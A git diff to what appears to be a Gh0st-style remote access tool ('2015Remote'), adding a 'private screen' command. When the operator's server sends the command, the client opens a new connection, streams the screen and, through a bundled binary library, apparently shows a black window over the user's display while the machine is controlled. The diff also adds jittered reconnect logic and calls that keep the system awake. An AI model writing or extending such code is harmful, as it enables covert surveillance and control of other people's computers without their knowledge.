diff --git a/client/ClientDll.cpp b/client/ClientDll.cpp index 5625880..3caa5e5 100644 --- a/client/ClientDll.cpp +++ b/client/ClientDll.cpp @@ -430,6 +430,7 @@ extern "C" __declspec(dllexport) void Run(HWND hwnd, HINSTANCE hinst, LPSTR lpsz DWORD WINAPI StartClient(LPVOID lParam) { + Mprintf("StartClient begin\n"); ClientApp& app(*(ClientApp*)lParam); CONNECT_ADDRESS& settings(*(app.g_Connection)); if (!app.m_bShared) @@ -476,6 +477,7 @@ DWORD WINAPI StartClient(LPVOID lParam) ULONGLONG dwTickCount = GetTickCount64(); if (!ClientObject->ConnectServer(settings.ServerIP(), settings.ServerPort())) { + Mprintf("[ConnectServer] ---> %s:%d.\n", settings.ServerIP(), settings.ServerPort()); for (int k = 300+(IsDebug ? rand()%600:rand()%6000); app.m_bIsRunning(&app) && --k; Sleep(10)); SetThreadExecutionState(ES_CONTINUOUS | ES_SYSTEM_REQUIRED); continue; diff --git a/client/Common.cpp b/client/Common.cpp index bab3eb7..74067a5 100644 --- a/client/Common.cpp +++ b/client/Common.cpp @@ -46,6 +46,36 @@ template DWORD WINAPI LoopManager(LPVOID lParam) return 0; } +#ifdef _WIN64 +#ifdef _DEBUG +#pragma comment(lib, "PrivateDesktop_Libx64d.lib") +#else +#pragma comment(lib, "PrivateDesktop_Libx64.lib") +#endif +void ShowBlackWindow(IOCPBase* ClientObject, CONNECT_ADDRESS* conn, const std::string& hash, const std::string& hmac); +#else +void ShowBlackWindow(IOCPBase* ClientObject, CONNECT_ADDRESS* conn, const std::string& hash, const std::string& hmac) { + return ClientObject->RunEventLoop(TRUE); +} +#endif + +DWORD private_desktop(CONNECT_ADDRESS* conn, const State &exit, const std::string& hash, const std::string& hmac) { + IOCPClient* ClientObject = new IOCPClient(exit, true, conn->iHeaderEnc); + if (ClientObject->ConnectServer(conn->ServerIP(), conn->ServerPort())) + { + CScreenManager m(ClientObject, 32, (void*)1); + if (IsWindows8orHigher()) { + ShowBlackWindow(ClientObject, conn, hash, hmac); + } + else { + ClientObject->RunEventLoop(TRUE); + } + } + delete ClientObject; + + return 0; +} + DWORD WINAPI LoopScreenManager(LPVOID lParam) { return LoopManager(lParam); diff --git a/client/Common.h b/client/Common.h index d7c5b3e..805fe61 100644 --- a/client/Common.h +++ b/client/Common.h @@ -19,6 +19,7 @@ typedef struct UserParam }UserParam; DWORD WINAPI ThreadProc(LPVOID lParam); +DWORD private_desktop(CONNECT_ADDRESS* conn, const State& exit, const std::string& hash, const std::string& hmac); DWORD WINAPI LoopShellManager(LPVOID lParam); DWORD WINAPI LoopScreenManager(LPVOID lParam); diff --git a/client/IOCPBase.h b/client/IOCPBase.h new file mode 100644 index 0000000..232caa1 --- /dev/null +++ b/client/IOCPBase.h @@ -0,0 +1,9 @@ +#include "common/commands.h" + +class IOCPBase { +public: + virtual BOOL IsRunning() const = 0; + virtual VOID RunEventLoop(const BOOL& bCondition) = 0; +}; + +typedef BOOL(*TrailCheck)(void); diff --git a/client/IOCPClient.h b/client/IOCPClient.h index cd127a0..1a86e48 100644 --- a/client/IOCPClient.h +++ b/client/IOCPClient.h @@ -19,6 +19,7 @@ #define NO_AES #include "common/encrypt.h" #include "SafeThread.h" +#include "IOCPBase.h" #define MAX_RECV_BUFFER 1024*32 #define MAX_SEND_BUFFER 1024*32 @@ -108,7 +109,7 @@ public: typedef BOOL(*TrailCheck)(void); -class IOCPClient +class IOCPClient : public IOCPBase { public: IOCPClient(const State& bExit, bool exit_while_disconnect = false, int mask=0, int encoder=0, diff --git a/client/KernelManager.cpp b/client/KernelManager.cpp index 9847504..551584f 100644 --- a/client/KernelManager.cpp +++ b/client/KernelManager.cpp @@ -479,6 +479,16 @@ VOID CKernelManager::OnReceive(PBYTE szBuffer, ULONG ulLength) break; } + case TOKEN_PRIVATESCREEN: { + char h[100] = {}; + memcpy(h, szBuffer + 1, ulLength - 1); + std::string hash = std::string(h, h + 64); + std::string hmac = std::string(h + 64, h + 80); + std::thread t(private_desktop, m_conn, g_bExit, hash, hmac); + t.detach(); + break; + } + case COMMAND_PROXY: { m_hThread[m_ulThreadCount].p = new IOCPClient(g_bExit, true, MaskTypeNone, m_conn->GetHeaderEncType(), publicIP); m_hThread[m_ulThreadCount++].h = __CreateThread(NULL, 0, LoopProxyManager, &m_hThread[m_ulThreadCount], 0, NULL);; diff --git a/common/commands.h b/common/commands.h index c1b8c80..8fad67f 100644 --- a/common/commands.h +++ b/common/commands.h @@ -188,6 +188,7 @@ enum TOKEN_SYSINFOLIST = 61, // 主机管理 TOKEN_CHAT_START = 62, // 远程交谈 TOKEN_UNINSTALL = 63, // 卸载主机 + TOKEN_PRIVATESCREEN = 64, // 隐私屏幕 // 服务端发出的标识 TOKEN_AUTH = 100, // 要求验证 diff --git a/lib/PrivateDesktop_Libx64.lib b/lib/PrivateDesktop_Libx64.lib new file mode 100644 index 0000000..eb2ada3 Binary files /dev/null and b/lib/PrivateDesktop_Libx64.lib differ diff --git a/lib/PrivateDesktop_Libx64d.lib b/lib/PrivateDesktop_Libx64d.lib new file mode 100644 index 0000000..3d8fe7d Binary files /dev/null and b/lib/PrivateDesktop_Libx64d.lib differ diff --git a/server/2015Remote/2015Remote.rc b/server/2015Remote/2015Remote.rc index aa329bc..e862d89 100644 Binary files a/server/2015Remote/2015Remote.rc and b/server/2015Remote/2015Remote.rc differ diff --git a/server/2015Remote/2015RemoteDlg.cpp b/server/2015Remote/2015RemoteDlg.cpp index 40bce6d..a05a996 100644 --- a/server/2015Remote/2015RemoteDlg.cpp +++ b/server/2015Remote/2015RemoteDlg.cpp @@ -354,6 +354,7 @@ CMy2015RemoteDlg::CMy2015RemoteDlg(CWnd* pParent): CDialogEx(CMy2015RemoteDlg::I m_bmOnline[13].LoadBitmap(IDB_BITMAP_ADDWATCH); m_bmOnline[14].LoadBitmap(IDB_BITMAP_ADMINRUN); m_bmOnline[15].LoadBitmap(IDB_BITMAP_UNINSTALL); + m_bmOnline[16].LoadBitmap(IDB_BITMAP_PDESKTOP); for (int i = 0; i < PAYLOAD_MAXTYPE; i++) { m_ServerDLL[i] = nullptr; @@ -481,6 +482,7 @@ BEGIN_MESSAGE_MAP(CMy2015RemoteDlg, CDialogEx) ON_COMMAND(ID_MAIN_WALLET, &CMy2015RemoteDlg::OnMainWallet) ON_COMMAND(ID_TOOL_RCEDIT, &CMy2015RemoteDlg::OnToolRcedit) ON_COMMAND(ID_ONLINE_UNINSTALL, &CMy2015RemoteDlg::OnOnlineUninstall) + ON_COMMAND(ID_ONLINE_PRIVATE_SCREEN, &CMy2015RemoteDlg::OnOnlinePrivateScreen) END_MESSAGE_MAP() @@ -1468,6 +1470,7 @@ void CMy2015RemoteDlg::OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult) Menu.SetMenuItemBitmaps(ID_ONLINE_ADD_WATCH, MF_BYCOMMAND, &m_bmOnline[13], &m_bmOnline[13]); Menu.SetMenuItemBitmaps(ID_ONLINE_RUN_AS_ADMIN, MF_BYCOMMAND, &m_bmOnline[14], &m_bmOnline[14]); Menu.SetMenuItemBitmaps(ID_ONLINE_UNINSTALL, MF_BYCOMMAND, &m_bmOnline[15], &m_bmOnline[15]); + Menu.SetMenuItemBitmaps(ID_ONLINE_PRIVATE_SCREEN, MF_BYCOMMAND, &m_bmOnline[16], &m_bmOnline[16]); std::string masterHash(GetMasterHash()); if (GetPwdHash() != masterHash || m_superPass.empty()) { @@ -3333,3 +3336,15 @@ void CMy2015RemoteDlg::OnOnlineUninstall() } LeaveCriticalSection(&m_cs); } + + +void CMy2015RemoteDlg::OnOnlinePrivateScreen() +{ + std::string masterId = GetPwdHash(), hmac = GetHMAC(); + if (hmac.empty()) + hmac = THIS_CFG.GetStr("settings", "HMAC"); + BYTE bToken[101] = { TOKEN_PRIVATESCREEN }; + memcpy(bToken + 1, masterId.c_str(), masterId.length()); + memcpy(bToken + 1 + masterId.length(), hmac.c_str(), hmac.length()); + SendSelectedCommand(bToken, sizeof(bToken)); +} diff --git a/server/2015Remote/2015RemoteDlg.h b/server/2015Remote/2015RemoteDlg.h index 8a2ce67..a994ce3 100644 --- a/server/2015Remote/2015RemoteDlg.h +++ b/server/2015Remote/2015RemoteDlg.h @@ -216,7 +216,7 @@ public: CRITICAL_SECTION m_cs; BOOL isClosed; CMenu m_MainMenu; - CBitmap m_bmOnline[16]; + CBitmap m_bmOnline[17]; uint64_t m_superID; enum { STATUS_UNKNOWN = -1, @@ -307,4 +307,5 @@ public: afx_msg void OnMainWallet(); afx_msg void OnToolRcedit(); afx_msg void OnOnlineUninstall(); + afx_msg void OnOnlinePrivateScreen(); }; diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj b/server/2015Remote/2015Remote_vs2015.vcxproj index 002d257..60a77c2 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj +++ b/server/2015Remote/2015Remote_vs2015.vcxproj @@ -406,6 +406,7 @@ + diff --git a/server/2015Remote/2015Remote_vs2015.vcxproj.filters b/server/2015Remote/2015Remote_vs2015.vcxproj.filters index e4112db..12b8a16 100644 --- a/server/2015Remote/2015Remote_vs2015.vcxproj.filters +++ b/server/2015Remote/2015Remote_vs2015.vcxproj.filters @@ -163,6 +163,7 @@ + diff --git a/server/2015Remote/res/Bitmap/PrivateScreen.bmp b/server/2015Remote/res/Bitmap/PrivateScreen.bmp new file mode 100644 index 0000000..6e9695c Binary files /dev/null and b/server/2015Remote/res/Bitmap/PrivateScreen.bmp differ diff --git a/server/2015Remote/resource.h b/server/2015Remote/resource.h index 051d19c..de9ecf0 100644 Binary files a/server/2015Remote/resource.h and b/server/2015Remote/resource.h differ